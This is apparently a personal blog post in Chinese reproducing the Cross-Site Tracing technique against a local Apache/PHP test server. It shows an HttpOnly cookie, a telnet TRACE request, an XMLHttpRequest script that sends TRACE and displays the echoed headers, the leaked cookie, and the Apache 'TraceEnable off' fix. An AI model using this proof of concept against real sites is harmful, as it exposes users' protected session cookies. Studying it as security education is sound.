HTTP&Apache…
0x01
最近重新翻开道哥的《白帽子讲Web安全》,看到一些最初翻看的时候,感兴趣却没有深究的漏洞,遂决定深入了解下。
关于HttpOnly
用以防止cookie被js获取的标志位,以达到防范XSS盗取cookie的目的。
test.php
setcookie('name','idlefire',null,null,null,null,true);
访问之后,注意HTTP字段处。
控制台获取cookie
关于Trace
HTTP 1.1 定义的一个方法。主要是提供一个debug机制,用于是实现沿通向目标资源的路径的消息环回(loop-back)测试。简而言之就是测试连通性用的。
HTTP:
HTTP 0.9 只有GET
HTTP 1.0 有了GET、HEAD、POST
HTTP 1.1 有了GET、HEAD、POST、PUT、DELETE、TRACE、CONNECT
但是这个方法有个特点,就是请求后返回的是请求的header内容,这样获得HttpOnly
保护的cookie了。
关于Trace的详情可以看RFC7231的描述或者HTTP Method详细解读(GET HEAD POST OPTIONS PUT DELETE TRACE CONNECT)其中的trace部分。
0x02
漏洞复现
首先使用telnet
测试服务器是否支持TRACE
请求。
text
telnet 127.0.0.1 4399
crtl + ]
回车
输入TRACE请求
TRACE /test.php HTTP/1.1
Host: 127.0.0.1:4399)
接着使用XMLHttpRequest进行请求。
<script>
function XSSTrace(){
var xhr = new XMLHttpRequest();
xhr.open("trace","http://localhost:4399/");
xhr.send();
var xmlDoc = xhr.responseText;
alert(xmlDoc);
}
</script>
<input type="button" onclick="XSSTrace();" value="send trace request">
打开浏览器点击按钮发现没有弹框,紧接着看网络请求,发现Chrome、Edge、Firefox都不再支持这个方法了,Chomre不支持,Edge和Firefox把Trace
作为安全问题。
于是把xhr的请求方法修改为get
,在网络请求中进行修改回放。
响应为base64编码结果(具体原因还没有找到)。 解码
TRACE / HTTP/1.1
Host: localhost:4399
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://localhost:4399/trace.html
Cookie: XDEBUG_SESSION=PHPSTORM; name=idlefire
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
其中就包含了HttpOnly
的name。
0x03 One’s Storm
关于只返回header的验证
修改header添加请求体。测试之后发现TRACE不允许携带请求体。
关于TRACK
这个方法并没有找到。
关于防御
- 在apache配置文件最后添加
TraceEnable off
(ง •_•)ง 2018-08-16 00:52:03 星期四